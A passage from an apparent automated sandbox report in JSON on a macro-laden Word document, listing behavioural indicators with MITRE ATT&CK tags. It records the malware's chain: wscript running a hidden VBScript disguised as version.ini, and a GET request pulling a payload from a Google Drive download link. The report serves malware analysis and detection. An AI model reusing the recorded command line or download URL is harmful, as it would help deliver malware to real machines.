\"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$30","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFile\" (Indicator: \"MoveFile\"; Source: \"00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.A3200000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$31","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1137","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$34","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"~_451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"aa@kq.k\"\n Pattern match: \"6cr4o@i.ay\"\n Pattern match: \"too_@8hr.v\"\n Pattern match: \"someone@example.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"$35","origin":"File/Memory","relevance":7,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\" (Indicator: \"mozilla/4.0 (\"; Source: \"00000000-00001220.00000000.77833.182E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"\\Program Files\\Common Files\\microsoft shared\\OFFICE14\\RICHED20.DLL\" at 35930000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.bin\" was detected as \"Zip\" and name: \"Archive\"\n \"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.bin\" was detected as \"ZIP archive\" and name: \"Data\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"$37","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"wscript.exe\" touched \"VB Script Language\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\\TREATAS\")\n \"wscript.exe\" touched \"Server XML HTTP\" (Path: \"HKCU\\CLSID\\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\")\n \"wscript.exe\" touched \"WinHttpRequest Component version 5.1\" (Path: \"HKCU\\CLSID\\{2087C2F4-2CEF-4953-A8AB-66779B670495}\")\n \"wscript.exe\" touched \"Multi Language Support\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{275C23E2-3747-11D0-9FEA-00AA003F8646}\\TREATAS\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"wscript.exe\" (UID: 00000000-00001220) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles\"\n Process \"wscript.exe\" (UID: 00000000-00001220) was launched with missing environment variables: \"PROMPT, MEOW, PROCESSOR_ARCHITEW6432\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"drive.google.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"wscript.exe\" with commandline \"//e:vbscript //b %APPDATA%\\\\Microsoft\\\\Templates\\\\version.ini\" (UID: 00000000-00001220)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Tries to open documents files","description":"\"WINWORD.EXE\" opens a file C:\\ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc (UID: 00000000-00001568)","origin":"API Call","mitre_attack_id":"T1005","relevance":2,"id":"api-248","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"wscript.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates/edits LNK file (Windows shortcut)","description":"\"WINWORD.EXE\" writes to LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc.LNK\"\n \"WINWORD.EXE\" writes to LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc (2).LNK\"\n \"WINWORD.EXE\" writes to LNK file \"%APPDATA%\\Microsoft\\Office\\Recent\\Templates.LNK\"\n \"WINWORD.EXE\" writes to LNK file \"%APPDATA%\\Microsoft\\Office\\Recent\\ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc.LNK\"","origin":"API Call","mitre_attack_id":"T1547.009","relevance":3,"id":"api-204","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$39","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"~WRD0000.tmp\" has type \"Microsoft Word 2007+\" - Location: [C:\\~WRD0000.tmp]\n \"~WRD1601.tmp\" has type \"Microsoft Word 2007+\" - Location: [C:\\~WRD1601.tmp]\n \"~WRS_CFFCCCCC-23CD-49F1-A230-791B0E6DA90C_.tmp\" has type \"Targa image data - Map 6 x 7 x 8 +4 +5 \"\\011\"\"\n \"~WRS_6F2CEBF6-D4AD-4ABB-A364-48F95870DBD7_.tmp\" has type \"dBase III DBT version number 0 next free block index 13\"\n \"~WRD0002.tmp\" has type \"ASCII text with CRLF line terminators\" - Location: [%APPDATA%\\Microsoft\\Templates\\~WRD0002.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens a handle to the specified process","description":"\"WINWORD.EXE\" opens a process \"C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE\" (UID: 00000000-00001568)\n \"WINWORD.EXE\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00001568)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-237","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"wscript.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\templates\\version.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WINWORD.EXE\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Windows\\System32\\AcSpecfc.dll\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Windows\\System32\\msi.dll\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Windows\\System32\\winspool.drv\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Windows\\System32\\bcrypt.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"wscript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.12.17007.18022-0\\SLC.DLL\"\n \"wscript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.12.17007.18022-0\\SLC.dll\"\n \"wscript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.12.17007.18022-0\\SPPC.DLL\"\n \"wscript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.12.17007.18022-0\\sppc.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"WINWORD.EXE\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat\"\n \"WINWORD.EXE\" writes a file \"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t HTTP/1.1Connection: Keep-Alive\n Accept: */*\n Accept-Language: en-us\n User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\n Host: drive.google.com","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"142.250.72.206\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLED1945F9D2C6249C6A101EE272B96]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001220.00000000.77833.182E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"wscript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"ECDSA\" (Indicator: \"ecdsa\"; Source: \"00000000-00001220.00000000.77833.182E0000.00000004.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Cryptography\\Defaults\\Provider\\Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00001220.00000000.77833.182E0000.00000004.mdmp\")\n Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00001220.00000000.77833.1AC50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueA\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyA\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegEnumKeyExA\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"Route to recipients\" (Indicator: \"route\"; Source: \"00000000-00001568.00000000.76052.04800000.00000002.mdmp, 00000000-00001568.00000001.77974.04800000.00000002.mdmp, 00000000-00001568.00000002.79892.04800000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001220.00000000.77833.182E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: 